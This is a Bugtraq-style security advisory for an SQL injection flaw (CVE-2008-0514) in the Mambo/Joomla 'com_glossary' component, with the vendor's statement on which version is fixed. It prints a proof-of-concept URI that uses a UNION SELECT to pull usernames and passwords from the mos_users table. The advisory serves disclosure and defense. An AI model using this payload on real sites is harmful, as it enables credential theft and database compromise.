Mambo/Joomla Glossary 'com_glossary' Component SQL Injection Vulnerability

Bugtraq ID:	27505
Class:	Input Validation Error
CVE:	CVE-2008-0514
Remote:	Yes
Local:	No
Published:	Jan 30 2008 12:00AM
Updated:	May 07 2015 05:33PM
Credit:	S@BUN is credited with the discovery of this vulnerability.
Vulnerable:	Mambo Glossary 0
Not Vulnerable:	Mambo Glossary 2.02

Mambo/Joomla Glossary 'com_glossary' Component SQL Injection Vulnerability

The 'com_glossary' component for Mambo/Joomla is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

NOTE: The original report states that this issue affects 'com_glossary' 2.0. The vendor states that 2.02 is not affected due to the use of 'intval' and that 2.0 is not likely affected.

Mambo/Joomla Glossary 'com_glossary' Component SQL Injection Vulnerability

Attackers can use a browser to exploit this issue.

The following proof-of-concept URI is available:

http://www.example.com/index.php?option=com_glossary&func=display&Itemid=s@bun&catid=-1%20union%20select%201,username,password,4,5,6,7,8,9,10,11,12,13,14%20from%20mos_users--

Mambo/Joomla Glossary 'com_glossary' Component SQL Injection Vulnerability

Solution:
The vendor states that 'com_glossary' 2.02 is not affected by this issue.


Mambo Glossary 0

• Mambo Glossary 2.02
  http://www.remository.com/rem/Remository/Download/Mambo-Software/Gloss ary/Glossary-2.02/

Mambo/Joomla Glossary 'com_glossary' Component SQL Injection Vulnerability

References:

• Mambo Glossary Component Page (Mambo)
  
• Mambo Homepage (Mambo)